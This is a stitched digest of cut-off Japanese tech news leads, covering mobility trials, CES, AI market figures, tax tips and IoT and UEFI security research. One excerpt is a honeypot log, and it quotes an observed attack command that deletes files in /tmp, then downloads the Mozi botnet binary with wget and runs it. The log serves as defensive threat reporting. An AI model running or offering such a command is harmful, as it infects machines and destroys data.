最寄り駅と自宅間のラストワンマイル、地域住民の生活の足、そして観光スポット間の移動など、公共交通や既存の交通手段を補完する新しいコンセプトのマイクロモビリティ「マイクロ・ロボットタクシー」と、「オンデマンド交通サービス」を連携させる試みがスタートする。 PerceptIn(パーセプティン) Japan合同会社は現在、奈良県奈良市てせ平城宮跡歴史公園での自動運転バスの実証実験を行っている。その実験で、富士通のオンデマンドで配車するクラウドサービス「FUJITSU Future Mobility Acceleratorオンデマンド交通サービス」を採用、1月18日より運用開始することを発表した。 今回の実証実験の背景 パーセプティンは、「マイクロ・ロボットタクシー」による来場者の回遊性の促進やアトラクションとしての集客力の検証、及び商用サービスとして提供するための運用面や技術面の課題抽出を目的に

国立研究開発法人新エネルギー・産業技術総合開発機構（NEDO）によるシンポジウム「NEDO AI＆ROBOT NEXTシンポジウム 〜人を見守る人工知能、人と協働するロボットの実現に向けて〜」が1月16日（木）と17日（金）に東京・新宿で行われた。「次世代人工知能・ロボット中核技術開発」および「人工知能技術適用によるスマート社会の実現」のプロジェクトの成果を紹介するイベントで、会場ではロボット展示も行われた。 この記事では、大阪大学大学院 基礎工学研究科 システム創成専攻の原田研介教授らが発表した、製造現場でのロボットの自律的な作業を支援するAI技術とロボットの発表と、ロボット・スタートアップの発表についてご紹介しておきたい。 バラ積み・組み立てに柔軟に対応できるロボット 現状のロボットの主な使われ方は単一の工程を担うことだ。しかし、変種変量生産など、複雑な作業への対応ニーズは年々高まって

ロボスタでは、大好評のロボットデータベースに14種類のロボットを追加で掲載しました。これにより、ロボットデータベースに登録済のロボットは168種類になりました。 追加したロボットは以下になります。 ■新たに掲載した14種類(アルファベット順) ・Google Nest Mini（グーグル ネストミニ） ・Google Nest Hub Max（グーグル ネストハブ マックス） ・かまって「ひろちゃん」（Hiro Chan） ・JBL LINK Portable（リンクポータブル） ・JetBot Mega（ジェットボット メガ） ・jetRacer（ジェットレーサー） ・J-deite RIDE（ジェイダイトライド） ・newme（ニューミー） ・Rizmo（リズモ） ・Robosen T9（ロボセン T9） ・Siriusbot（シリウスボット） ・SOWAN（ソワン） ・TRITOWN

1月7日～10日に米ラスベガスで開催された「CES 2020」には、聴覚支援ヒアラブルデバイスを手がける日本のスタートアップ企業、freecle（フリークル）がブースを構えていた。難聴は先進国を中心に深刻な社会問題になりつつあり、世界最大のエレクトロニクスショーにおいても同社の新製品「able aid」は多くの関心を呼んだようだ。 freecleは経済産業省が推進する日本のスタートアップ支援のプログラム「J-Startup」に、JETRO（日本貿易振興機構）の推薦を受けてCESへの参加を決めた。同社の香本剛志氏は「日本だけでなく、アメリカでも難聴者が増加する一方で補聴器の利用者は少ない。装着感と購入価格の負担が少なく、スマートフォンにペアリングして便利な機能が使えるable aidに多くの反響がある」と出展に確かな手応えを感じている様子だった。 able aidはネックバンドスタイルのワイ

アイ・ティ・アール（ITR）は、国内ビジネス分野で実用化が進んでいるAI主要6市場（画像認識、音声認識、音声合成、言語解析、検索・探索、翻訳）の市場規模推移と予測を発表した。 18年度におけるAI主要6市場の売上金額は199億5000万円（前年度比53.5％増）と大幅な伸びとなった。技術的な進歩に加え、各種製品・サービスと組み合わせたソリューションの拡大によって、活用用途の多様化が進みつつあることが成長の背景となっている。 AI主要6市場の中で、18年度に最も高い伸びを示したのが画像認識市場。画像認識は、工場などで行っている製品の外観検査や作業員の安全管理業務で導入が進んできたが、現在、道路や橋などの社会インフラ、各種建造物の保全業務での利用も急速に進みつつある。 また、顔認証や車両の自動運転など、活用シーンの多様化によって今後も継続的な導入拡大が見込まれる。画像認識に次いで高い伸び率を示

1月7日～10日に米ラスベガスで世界最大のエレクトロニクスショー「CES」が開催された。5Gの商用サービスが世界各地で本格的に立ち上がる2020年に、エレクトロニクスも次の世代にあるべき形へと変貌を遂げつつあった。 毎年変わるCESのトレンド　今年は何が一番注目された？ EV（電気自動車）が普及してから、CESのようなエレクトロニクスの展示会にオートモーティブのメーカーが数多く出展するようになった。2020年のCESは筆者が得意とするオーディオ・ビジュアルに関連する展示が減った代わりにオートモーティブの話題が賑わっていた。 CES 2020が開催された米ラスベガス・コンベンションセンター。メイン会場の入口のほかにも至る所に デモカーなどオートモーティブ関連の出展が埋め尽くす 考えてみれば5Gの影響を最も強く受けるエレクトロニクスのデバイスはオートモーティブかもしれない。自動車そのものだけで

博報堂、博報堂プロダクツ、ピーディーシーは、GMSやスーパー、ドラッグストアでの販売促進を支援し、スタッフの運用負荷を軽減する店頭デジタルマーケティング支援サービス「売場サイネージソリューション」を提供している。ハードやシステムの導入コンサルティングから、戦略設計、実施・運用、検証までワンストップで対応するサービスだ。 売場サイネージソリューションは、博報堂が購買導線を全方位で捉える「Path to Purchase（P2P）」マーケティングを企画立案し、博報堂プロダクツがこれまで培ってきた店頭における販売促進の知見や実績を基に、購買導線上の重要なタッチポイントの売場サイネージに取り組み、モーショングラフィックス制作専門部隊によるコンテンツ制作、販売結果に基づく効果測定などを行う。 さらに、ピーディーシーの強みであるハード、システム面でのデジタルサイネージ導入・運用力を掛け合わせることで、

国税庁は、確定申告シーズンにあわせ、確定申告特集ページを公開する。今年度（令和元年分）のトピックスは、スマートフォン（スマホ）対応の強化。Microsoft Edgeからマイナンバーカードを利用したe-Tax送信のサービスも開始する予定で、どちらも1月31日の開始予定となっている。従来方式は、すでに開始している。 全般的にUIが使いにくい、内容が分かりにくい傾向のある官公庁のウェブサイトだが、国税庁のウェブサイトは、これでも分かりやすい方だと思われる。疑問があれば、「タックスアンサー（よくある税の質問）」を一つひとつ細かく読んでいこう。その一つ、No.1907として「個人が企業発行ポイントを取得又は使用した場合の取扱い」が公開された。 要約すると、店舗独自のポイントや、決済代金に応じて付与されるポイントをためて、そのポイントで支払った場合は課税対象となる経済的利益に該当しないので、対応が不

【インターコムの進化論　独立系日の丸ソフト会社の歩みとこれから・1】　BCN AWARDの通信ソフト部門で20年連続最優秀賞に輝いた、独立系パッケージソフト開発会社のインターコム。この偉業が示す通り、同社は1982年創業の老舗でありながら、日々刻々と状況が変わるICT業界の中で、今もなお安定したスピードで歩みを続けている。ただし、ここに至るまでは決して平坦な道のりばかりではなく、同社のマスコットキャラクターであるカメレオンのように、市場やテクノロジーといった環境の変化に合わせて、自らも少しずつ変化を遂げながら挑戦を続けてきた。当企画では、同社の歩みを振り返りつつ、いかにして時代の変化を捉え製品展開を行ってきたか、歴史と実績を持つ“日の丸ソフト開発会社”インターコムの進化の過程を連載で紹介していく。 インターコムは、これまでの活動の中で数多くのソフトウェアを自社開発してきたが、創業以来の主力

広島大学は、広島大学大学院統合生命科学研究科の李聖林准教授と広島大学大学院医系科学研究科皮膚科学の秀道広教授、高萩俊輔助教、柳瀬雄輝助教が、じんましんの定性的な臨床データと数理モデルを融合することによってじんましんでみられる発疹（膨疹）の多様な形を数理モデルで再現することに成功した。 じんましんでは、その種類や患者によって、さまざまな形、大きさの膨疹があらわれるが、これまで多様な形態がどのようにして形成されるのかは分かっていなかった。今回の研究では、数学的手法の反応拡散モデルを用い、膨疹形成の数理モデルを構築することに成功した。モデルからは、じんましんの膨疹形成に従来から考えられてきたヒスタミンの作用のほか、抑制性の作用と二つ機序が関与することが予測された。 今後、生物学的手法で抑制系の機序と分子が同定されることによって、じんましんの病態理解が進み、膨疹の形態分析に基づく新たな病型分類もし

スマートフォン（以下スマホ）やタブレットが登場してから10年あまり｡いまや現代人の日常生活はこれらなくしては語れないというほどに依存度が高くなってきている｡当然ながら業務での利用も進んでいるが､一部企業では支給･貸与という形式をとらず､私的な端末を持ち込み利用させるケースもある｡このBYODと呼ばれる対応にはセキュリティ上のリスクをはらんでいる。本記事では、BYODに対し企業が講じる必要がある対策について解説する。 BYODとはなにか BYODとは、｢Bring Your Own Device｣の頭文字をとった略語で、私物のパソコンやスマホを業務の現場に持ち込み、利用することを意味する。BYODが広まった背景にはモバイル端末の普及がある。日常生活で利用する中でスマホの利便性を享受したユーザーが､私物のスマホを業務で利用するようになったのだ。使い慣れている私物のスマホを、従業員同士や顧客との

IoTデバイスの利便性とセキュリティーのバランス、McAfee ATRチームがスマートホームデバイスのセキュリティーをチェック 2020年1月6日週、McAfee Advanced Threat Research（ATR）チームは、2つの一般的なIoTデバイスのセキュリティー上の欠陥について新しい調査結果を公開しました。それらは、接続されたガレージドア自動開閉プラットフォームと、近距離無線通信（NFC)を利用してドアを開閉するスマートリングについてです。 IoTデバイスのセキュリティー上の欠陥について新しい調査結果を公開 これらのケースを製品セキュリティーの分野で懸念が高まっている例としてお伝えしたいと思います。消費者向けデバイスの業界では、近年、セキュリティーに前向きな勢いが見られます。例えば、ほんの数年前は、ほぼすべての消費者向けルーターにはデフォルトのユーザー名とパスワードが同梱され

McAfeeのAdvanced Threat Researchチームは、ほぼすべての業界で製品とテクノロジーのセキュリティー分析を実施しています。消費者スペースとモノのインターネット（IoT）への特別な関心が、家庭用アクセス制御デバイスであるMcLear NFC リングを使用した安全でない設計の発見に繋がりました。NFCリングを使用して、ISO／IEC 14443A NFCカードタイプに準拠したNFC対応のドアロックを操作できます。NFCリングがNFC対応のドアロックとペアリングされると、ユーザーはドアロックのNFC範囲内にNFCリングを配置するだけで家にアクセスできます。 McLearはもともと、従来のキーを機能的なジュエリーに置き換えるためにNFCリングを発明しました。NFCリングは、アクセス制御、モバイルデバイスのロック解除と制御、情報の共有と転送、人とのリンクなどに近距離無線通信（

ガレージドアを遠隔でコントロールして自宅が安全であると確認したり、ガレージに直接荷物を配送してもらうというアイデアは、多くの人々にとって魅力的です。多くのIoTデバイスが提供するこのような利便性のため、消費者は潜在的なセキュリティー問題を考えることをやめてしまいます。 マカフィーATRはこのほど、「ユニバーサル」なガレージドア自動開閉プラットフォームChamberlain（チェンバレン）のMyQ Hubを調査しました。 Chamberlainは、車中にあるスイッチと同様に、新しいガレージドア開閉装置として機能するハブを経由することで、このデバイスをユニバーサルにしました。こうしてMyQ Hubはさまざまなガレージドアを改良して連動できるようになります。 通常ならIoTデバイスとしては一般的ではないこのデバイスの保護に関して、Chamberlainはかなり良い仕事をしていることがわかりました

ここ数年、UEFI (Unified Extensible Firmware Interface) に関連するセキュリティが注目を集めている。しかし、UEFIはさまざまな制約もあるため、過去にこれを悪用したマルウェアはほとんど検出されてこなかった。最初のUEFIルートキット (LoJaxとして知られる) が発見されたことで、ESETでは膨大なUEFIの状況を検索し、新たなUEFIの脅威を確実に発見できるシステムの構築を開始するに至った。 ESETは当初､自らが所有するUEFIスキャナーを用いて収集したテレメトリデータ（遠隔的に取得したデータ）を活用し、UEFI実行ファイルのための特別な処理用パイプラインを考案した。これは機械学習を利用して､受信したサンプルの中から異常を検出するものである。このシステムは疑わしいUEFI実行ファイルを特定する強力な機能の他に、UEFIの状況をリアルタイムに監

自覚症状がない病気の早期発見を目的とする「人間ドック」。受けたことがないけど、そろそろ行ってみたほうがいいかも、という方がたくさんいらっしゃるかと思います。 さてこの人間ドック。はたして医療費控除の対象になるのでしょうか？　国税庁は以下のように回答しています。 医療費控除の対象とはならない。ただし例外あり 国税庁の回答によると、いわゆる人間ドックやそのほかの健康診断は、疾病の治療をともなうものではないので医療費控除の対象とはならないそうです。 ただし、健康診断の結果、重大な疾病が発見され、引き続きその疾病の治療を行なった場合には、その健康診断は、治療に先立って行なわれる診察と同様に考えることができるので、その健康診断のための費用も、医療費控除の対象に含まれるとのことです。

仕事で使えるビジネス版LINEである「LINE WORKS」（ワークスモバイルジャパン）の連載では、アカウント作成の基本からビジネスシーンでの活用術、、便利なTipsなどを紹介していく予定。第11回は入電メモや日報、議事録などの共有に便利なLINE WORKSのテンプレートを紹介する。 メモや入力をもっと楽にするテンプレート 不在の人宛てに電話があったときに入電メモを残したり、日報や議事録を提出する場合、人によってフォーマットがばらばらで困ることはないだろうか。もちろん、入電メモなら「15時にA社の佐藤様から電話がありました。Bプロジェクトの件で折り返し電話を欲しいとのことです」とあれば完璧。しかし、「佐藤さんから電話がありました」だけ伝えられてもどうしようもないことがある。時間や会社を聞き直すのは無駄・手間だし、会社が分からなければ折り返しのしようもない。相手先の情報だけでなく、時間や内

本製品は、FPVや気圧計、スマートフォンとの連携などの機能を備えるドローンです。本体重量は航空法に規制されない200g未満なので、安心して飛行を楽しめます（※市区町村により規制が定められている場合があります）。

マネーフォワードは、2020年4月に始まる社会保険電子申請義務化に対応したクラウド型社会保険手続きソフト「マネーフォワード クラウド社会保険」を2020年3月より提供開始する。これまで給与計算ソフト「マネーフォワード クラウド給与」において、社会保険申請手続きに関わる機能を一部提供していたが、社会保険電子申請義務化をきっかけに、新サービスとしてマネーフォワード クラウド社会保険を提供する。 マネーフォワード クラウド社会保険は「社会保険手続きをかんたんに」をコンセプトに、社会保険申請手続きに関する業務を効率化するサービス。電子申請対象の帳票、対象外の帳票にも対応するほか、入退社手続き、算定基礎届・月額変更届、労働保険の申請等、さまざまな社会保険手続きに対応。また、『マネーフォワード クラウド給与』との連携でより、スムーズな社会保険手続きが可能になるという。

JCBと富士通が共同プロジェクト開始 国内クレジット大手JCBは富士通株式会社と新たな仮想通貨・デジタル通貨の決済連携プラットフォームを開発するために、共同プロジェクトを1月17日より開始。富士通の独自ブロックチェーン技術を導入する。 デジタル通貨（仮想通貨も含まれるか：後述）や地域通貨、店舗独自ポイントやカードポイントなど数多なデジタル上の価値を、支払い方式に応じて適切な通貨やポイントに変換し有効活用を可能にするプラットフォームの立ち上げを目指す。 現在、交通系・流通系のICカードや各種企業が発行するポイントカードなどが氾濫した状況にあり、それらデジタルバリューの管理が複雑になる中で、そうしたポイントを有効に活用しきれていない現状が、プロジェクト発足の背景にあるという。 多くの企業が規格の異なったデジタル通貨やポイント（デジタルバリュー）を発行する中で、変換を可能とする中間プラットフォー

仕事で使えるビジネス版LINEである「LINE WORKS」（ワークスモバイルジャパン）の連載では、アカウント作成の基本からビジネスシーンでの活用術、便利なTipsなどを紹介していく予定。第12回はLINE WORKSならではの便利機能である「翻訳」を試してみる。 精度の高いLINE WORKSの翻訳機能 昨今、日本のオフィスでも外国人労働者も増え、日本語だけでなく、外国語を使う職場も増えている。その点、LINE WORKSは日本語と英語、韓国語、中国語（繁体字／簡体字）に対応しているので、複数の言語で利用可能だ。加えてLINE WORKSではトーク内の文章をリアルタイムに翻訳する機能が搭載されている。この機能を活用することで、英語が苦手な日本人も、外国人とスムースにやりとりできるほか、日本語がつたない外国人でも、自らの意思を正確に表現できる。これにより、言語の壁によって生じる従業員のスト

基幹業務管理システムの開発・販売を行うアイルは15日、同社が提供する様々な業種・業態に対応した販売管理・在庫管理パッケージシステム「アラジンオフィス」において、以前はカスタマイズ対応だった生産管理機能をオプションで提供するバージョンアップを行ったことを発表した。 「アラジンオフィス」生産管理オプション　(公式Webサイト) オプションで提供されるのは、生産計画、所要量計算、工程指示、製造指示、製造実績、工程進捗問い合わせに対応する各種機能。特長的な機能として、登録した生産計画をベースに現在庫、受注残、発注残、製造残を加味した在庫の所要量の自動計算や必要手配数を自動算出する所要量計算機能がある。 また、発注・工程指示・移動指示データの一括作成も可能となっており、生産商品の工程情報や原料情報を登録することで、工程指示書を自動発行、リードタイムを設定し各工程の納期を自動計算する工程指示入力機能な

前回はiOS 13で追加された「スマート全角スペース」についてご紹介しました。文字入力の際にスペースをタップすると、全角入力中なら全角スペースが、半角入力中なら半角スペースが自動で選択されます。 一方で、たとえば英字入力を必要とするサイトなどを頻繁に使っている人からすると、スマート全角スペースは厄介な存在です。 そこで今回は、常に半角スペースを入力できるようにスマート全角スペースを無効化する方法をご紹介します。

ボールドライトは1月14日、モビリティトラッキング用IoTデバイスと移動状況のマップ表示および周辺情報掲載を統合したトラッキングシェアシステム「AUBIT DIGITAL」を提供開始した。 専用IoTデバイスを導入したモビリティの移動状況をリアルタイムにデジタルマップで公開するシステム。デジタルマップは導入事業者の自社ウェブサイトなどに自由に組み込みが可能なほか、既存アプリへの組み込みやアプリ化自体も可能なため、様々な活用が想定されるという。 IoTデバイスは準天頂衛星システム「みちびき」に対応した高精度なトラッキングが可能。ビジュアル化された移動情報と周辺情報を統合したデジタルマップは各モビリティの名前やタイプ、カラーなどを自由に設定できる。さらに周辺情報の掲載も統合することで、バスの路線から近い周辺情報を表示することも可能。公共交通機関の場合は、時刻表表示ができるGTFSにも対応する。

よりそうは1月13日、「よりそうのお葬式」の新たなセットサービスとして葬儀後の手続きを代行する「葬儀後手続きサポートサービス」を提供開始した。 インターネットを介した葬儀・供養サービスを提供するよりそうでは、これまで電話受付による相続相談サービスを提供していたが、より的確なタイミングで葬儀後手続きが必要な方に情報を届ける体制の構築として、よりそう側からの確認連絡と専門家との連携による対面相談の2点が必要だと判断したという。 新たに開始される葬儀後手続きサポートサービスでは、よりそうのお葬式の利用者に向け、行政書士が初回無料で訪問後、相談内容をもとに葬儀後の手続きを代行。相談内容に応じて幅広い代行範囲の中から必要な手続きを選んで利用することができるとのこと。

Apple Payのタッチ＆ゴー、海外では二重課金のトラブルも…2020.01.17 20:009,888 Whitney Kimball - Gizmodo US ［原文］ （ 湯木進悟 ） 便利ではありますが…。 Apple PayのExpress Transit（エクスプレス・トランジット）機能は、続々と海外でもサービスインしています。Apple WatchやiPhoneのロック解除を経ることなく、エクスプレスカードを設定しておけばかざすだけで決済が完了する仕組みなんですけど、このほど海外ではその二重課金をめぐるトラブルが報告されています。 ニューヨークやロンドンで二重課金の報告がたとえば、ニューヨークの地下鉄やバスを運営するMTA（Metropolitan Transportation Authority）は、一部の駅改札でOMNY（One Metro New York）という新改

一度故障すると、なかなか治らない腰。根本的な解決策は、骨盤のバランスを保つ良い姿勢の習慣です！　SEEDは着用するだけで、自分の歩き方や骨盤姿勢のバランスを専用のスマホアプリからリアルタイムで確認できます。 骨盤の歪みを引き起こす姿勢をしていないかわかる「姿勢検知」機能を採用しました。アプリの中で植物が美しく健康な高さまで育つ姿を見れば、自分の姿勢についても直観的に判断可能。よい姿勢を保てていれば6時間ほどで花を咲かせる高さまで成長します。一方で、悪い姿勢をとり続けていると、花を咲かせる高さまで成長するのに最長10時間ほどかかります。 足が地面に着くときの特徴を分析し、両足の歩き方のバランスを分析できる「バランス検知」機能も搭載しました。体の両側のバランスがよくなってきたか把握できます。歩数やエネルギー消費量などの活動記録もわかります。

近年の消費行動で見られるモノの「所有から利用へ」という消費行動には、(1)モノを「買えなくなった」、(2)モノを「買わなくてもすむようになった」、(3)モノよりも「サービス（コト）を買うようになった」という3つの要素がある。 モノを「買えなくなった」背景には若い世代の厳しい経済環境があげられる。非正規雇用者が増え、正規雇用者でも収入が伸びにくくなっている。また、少子高齢化による将来の社会保障不安もあるだろう。さらに、昨年は消費増税に加えて、「老後資金2千万円不足問題」が大きな話題となることで、生活防衛意識を高めた消費者が増えたのではないか。 モノを「買わなくてもすむようになった」背景には、技術革新が進み、成熟した消費社会では安くて品質の高いモノがあふれ、お金を使わなくても消費生活が楽しめることがあげられる。所有欲が低下し、社会貢献意識が高まる中で、ミニマリストを良しとする風潮もある。さらに

2010年代、Bluetoothはここまで来た2019.12.05 13:0016,619 Adam Clark Estes - Gizmodo US ［原文］ （ 福田ミホ ） 10年前のBluetoothって、便利さよりイライラのほうが大きかったような。 Bluetoothってちょっと前まで、ペアリングがうまくいかなくて面倒だったりすぐ切れたりしたものです。でもBluetoothは2010年代に着々と改善を重ねてきて、今じゃAirPodsなんてBluetoothを意識する必要すらないくらい快適で、10年前は何だったんだレベルです。Bluetoothの活躍の場も、スマホやパソコンだけでなくスマートホーム系ガジェットや産業用途にまで広がっています。そんなBluetoothの成長ぶりを米GizmodoのAdam Clark Estes記者がまとめていますので、ぜひどうぞ！ 10年ほど前のこと

Microsoft won’t be facing antitrust scrutiny in the U.K. over its recent investment into French AI startup Mistral AI.

ハニーポット(仮) 観測記録 2020/01/16分です。 特徴 Location：JP Citrix製品の脆弱性(CVE-2019-19781)を狙うアクセス ThinkPHPの脆弱性を狙うアクセス クラウド環境のメタデータ情報を狙うアクセス AWS Security Scannerによるスキャン行為 Apache Solrへのスキャン行為 18[.]179[.]20[.]5に関する不正通信 5[.]188[.]210[.]101に関する不正通信 User AgentがHello, worldであるアクセス を確認しました。 /shellに対して、ファイルダウンロードおよび実行を狙う以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget http://192[.]168[.]1[.]1:8088/Mozi.a; chmod 777 Mozi.a; /tmp/Moz

Kids Publicは1月14日、同社が運営する遠隔健康医療相談「産婦人科オンライン」「小児科オンライン」の相談内容を岩手県立大船渡病院と共有できるシステムの運営を開始した。 オンライン相談のニーズは高まっているものの、オンライン相談で得られた情報を適切に地域の医療機関やかかりつけ医と連携し、対面サポートも含めた包括的なシステムとして機能する必要性も高まっているという。 産婦人科オンラインと小児科オンラインは、平日18時～22時の時間帯にスマホで10分間、産婦人科、小児科を専門とする医師、助産師にリアルタイム相談ができる遠隔健康医療相談サービス。2018年5月より、一般社団法人 未来かなえ機構を通して大船渡市・陸前高田市・住田町の住民に対して提供されている（遠隔健康医療相談であり、医療行為は行なわない）。 オンライン相談の内容および担当医師、助産師からの回答内容を地域の中核病院である岩手

横浜市とASCII STARTUPは2019年11月14日、横浜市内のベンチャー交流イベント「第1回 横浜ベンチャーマップ作成イベント」を関内地区のベンチャー支援拠点「YOXO BOX」にて開催した。YOXO BOXでは、横浜のスタートアップや起業家の成長支援を目的とした主催イベントを週に1回、開催している。第1回目の本イベントでは、横浜市内で活動する株式会社スタジオルとジェネクスト株式会社の2社を迎えて、インタビュー形式で、横浜で起業した理由やメリットを語ってもらった。 「横浜ベンチャーマップ作成イベント」は、横浜を拠点とするベンチャー企業のイノベーションマップの情報収集を目的とした企画だ。横浜には多くのスタートアップが集積していると言われるが、実は、どこにどのようなベンチャーがいるのかは可視化されていない。イベントでは、ベンチャーやスタートアップ企業にインタビューをしながら、支援者や支

本連載は、Adobe Acrobatを使いこなすための使い方やTIPSを紹介する。第109回は、Acrobat DCのサブスクリプション版とAdobe Readerの機能の違いを検証してみる。 ビジネスで活躍する便利機能が、どのAcrobatに含まれているのか確認 Acrobat DCにはProとStandardの2つのサブスクリプションプランがある。それとは別に、フリーで使えるAcrobat Readerも用意されている。PDFファイルを表示するだけなら、もちろんAcrobat ReaderでもOK。今回は、ビジネスで活躍する便利機能が、どのAcrobatに含まれているのかを再確認してみよう。 まず、Pro／Standard／Readerの3種類とも、PDFの閲覧はもちろん、注釈を入れたり、承認のスタンプを押したりできる。最近増えているタブレット端末でのタッチ操作にもすべて対応している。

・東京都はSMSでの納税催告を開始。スマホに直接届くので見逃しづらい。 ・だが、納税催告の文章を流用し、SMS経由で銀行口座情報などを盗もうとする詐欺が流行る可能性も。 ・対策は、「送信内容にURLが入っている東京都の納税催告はすべて偽物」と覚えておくこと。 2019年6月から東京都民はSMSでも納税を催促される!? 東京都では2019年6月以降、スマートフォンなどで受け取れるSMS経由での納税催告をスタートさせているとのこと。これまでは納付期限が過ぎると、対象者の住所に催促状を送り、その後は電話や訪問といった手段で催告していましたが、いかんせん勤務中は電話に出られませんし、当然自宅にも居ません。そこで新たな連絡手段として追加されたのがSMS、というわけです。 東京都主税局は具体的な送信内容として、「折り返しご連絡のお願い／〇〇都税事務所です。お伝えしたいことがあります。お電話ください【電

ファイルが「ない」から見つけにくい！ さまざまなサイバー犯罪がはびこる今日においては、セキュリティベンダーやメーカーなどは、サイバー犯罪の被害を防ごうと日々努力している。まだ見ぬ脅威に対しても、事前に怪しい動きを察知し、発見できるように調査しているものだ。 そんな時代であれば、悪意をもった犯罪者からすれば、セキュリティ対策ソフトの目をかいくぐるような、悪どい攻撃方法が有効だと考えるだろう。 2016年頃から、増加を続けているのが「ファイルレス・マルウェア」だ。ファイルレスとは、どういうことか。 コンピュータウイルスなど、有害に動作させる意図で作成された悪意のあるソフトウェア、いわゆるマルウェアのほとんどは、メールの添付ファイルを開いたり、悪意のあるWebサイトにアクセスしたりすることで感染する。ほとんどは実行（exe）ファイルと呼ばれるもので、プログラムそのものとなっている。これが保存され

楽天モバイルは17日、昨年12月10日に2時間41分にわたって発生した障害について、公式サイト上でユーザー向けに状況を説明している。 原因は仮想化技術ではなく、データベースの問題 「4月からの本格サービス開始までに試験を実施」という表現も 発生したのは2019年12月10日8時34分～11時15分まで。問題が生じたのは音声147回線、データ約1000回線という一部ユーザーで、全国で音声通話とデータ通信の両方が利用できないか、つながりにくい状況が発生した。 原因としては西日本のデータセンターに設置した課金制御機器のデータベースの不具合によるもので、ネットワークの仮想化技術導入によるものではないとしている。 再発防止策としては、直接的にはソフトウェア処理の変更により、データベースロック処理が遅延しても、デッドロックが発生させない対処をしたとのこと。また、すべてのベンダーに対し、提供されたソフト

2020年01月17日 08時00分更新 文● 大塚昭彦／TECH.ASCII.jp　写真● 曽根田元 提供: さくらインターネット 2019年夏に開催された、半導体センサーやマイコンボードを使ったプロトタイプ作品コンテスト「ROHM OPEN HACK CHALLENGE 2019」（主催：ローム株式会社）。そこで最優秀賞を獲得した2作品のうちの1つが、「街にゴミが多い」という社会課題の解決を目指した「未来ゴミ箱」だった。 この未来ゴミ箱は、ローム製のセンサー評価キットやマイコンボード「Arduino」、さらにさくらインターネットのIoT通信プラットフォーム「sakura.io」などを組み込み、決済システムの「Line Pay」などと連携動作する。今回は、未来ゴミ箱の開発に携わった柏木まもるさん、吉松駿平さんに、開発のコンセプトからチーム開発の実際、またsakura.ioに対する評価など

東芝と東北大学東北メディカル・メガバンク機構(ToMMo)は1月14日、量子暗号通信を用いて、数百ギガバイトを超えるデータ量の全ゲノム配列データを伝送することに成功したと発表した。これは、世界初だという。 量子暗号通信技術による鍵配信速度は、現時点で最大でも10Mbps程度であり、全ゲノム配列データのような大規模で秘匿性の高いデータ伝送の活用には課題を抱えている。 そこで両者は、東芝および東芝欧州研究所傘下のケンブリッジ研究所が開発した高速量子暗号通信技術を用いて、規模かつ秘匿性の高いゲノム解析データを伝送する際、大規模データを一度に伝送するのではなく、次世代シークエンサーのゲノム解析データ出力を量子暗号によって逐次暗号化して伝送する技術を開発した。 開発したゲノム解析データ伝送システムの概要 次世代シークエンサーの動作に合わせて、逐次データ伝送を行うことで、大規模な全ゲノム解析データの伝

IPA（情報処理推進機構）は1月14日、「産業用制御システムのセキュリティ -10大脅威と対策 2019-」を発表した。これはドイツ連邦政府 情報セキュリティ庁（BSI）が作成したものをIPAが許可を得て翻訳したもの。 第1位は「リムーバルメディアや外部機器経由のマルウェア感染」であり、これに「インターネットやイントラネット経由のマルウェア感染」「ヒューマンエラーと妨害行為」が順に続いている。 IPAは、ランクインした脅威について、日本国内でも共通の事項が多く、事業者にとってこれらの脅威とその発生要因、具体的な手口、対策を体系的に理解することに役立つとコメントしている。 2016年の調査に比べ、2019年は、制御システムにおける利用増加に伴い、クラウドコンポーネントや外部ネットワークへの攻撃の脅威が上昇している一方、ソーシャルエンジニアリングやフィッシングの脅威は、相対的に降下しているとい

2020年はWindowsとLinuxの年になるかも 2020年5月か6月にはWindows Terminalも正式版がリリースされるだろう。WSL(Windows Subsystem for Linux)も次のフィーチャーアップデートでWSL2の導入が予定されている。第2四半期にはWindowsでLinuxを実行するための環境がバージョンアップすることになり、2020年はWindowsにとってLinuxが躍進する年になりそうである。 そこで今回は、Windows 10で簡単に導入できるLinuxディストリビューションを簡単にまとめておこう。 MicrosoftがLinuxのサポートを推進することに疑問を感じる人もいるかもしれないが、Microsoftの戦略を踏まえると不思議なことではない。 Microsoftは収益の主軸をクラウドへ移しつつあり、Linuxのサポートを進めることは、クラウ

パナソニックと東京建物は、ビルオートメーション（BA）システムのサイバー・フィジカル・セキュリティ対策に向け、パナソニックが開発中であるBAシステム向けサイバーセキュリティソリューションの実証実験を、首都圏にある東京建物の既存ビルで実施することに合意したことを発表した。 BAシステム向けサイバーセキュリティソリューション この実証実験では、サイバー・フィジカル・セキュリティ対策を行うために設備資産の調査を行い、サイバー攻撃のリスク評価を行う。具体的には、BAシステムの設備資産・運用といった設備資産調査を通じてシステムの脆弱性や攻撃されやすいポイントを特定し、攻撃者視点に基づくセキュリティ脅威分析を実施することで、BAシステムのセキュリティリスクを可視化するという。 この取組みにより、サイバー攻撃によるビルやテナントが被る被害を可視化できるため、サイバー・フィジカル・セキュリティ対策の優先度

データの統合とアナリティクスは、企業が各所に分散したデータを活用するために極めて重要です。ここでは、Qlikの顧客の声および調査会社のマーケットリサーチをもとに作成した、2020年データ・BIの10のトレンドを紹介します。 1.リアルタイム対応の企業への転換は必須 自社のデータモザイクを構築するためには、情報が的確なタイミングで適切な場所に提供されることが必要です。現在、世界のトップ企業の間では、さまざまな業務をリアルタイムで対応するようになってきています。マーケティングキャンペーンの効果測定、不正行為に関する異常の検出、医療を始めとする人道的サービスの提供、各種のパーソナライズ処理、サプライチェーンの最適化などです。最近の技術革新のうち、2020 年に業務のリアルタイム化に大きく寄与することが予想されるものとして以下の3つが挙げられます。 ・高速ネットワークにいつでもどこでも接続 5G

United States Computer Emergency Readiness Team (US-CERT)は1月14日(米国時間)、「Microsoft Releases January 2020 Security Updates｜CISA」において、Microsoftの複数のソフトウェアに脆弱性が存在すると伝えた。 これら脆弱性を悪用されると、遠隔から影響を受けたシステムの制御権が乗っ取られる危険性があるとされており注意が必要。深刻度が緊急に分類されるものが含まれており、迅速な対処が望まれる。 アップデートに関する情報は次のページにまとまっている。 January 2020 Security Updates｜Release Notes｜Microsoft Security update deployment information: January 14, 2020｜Micros

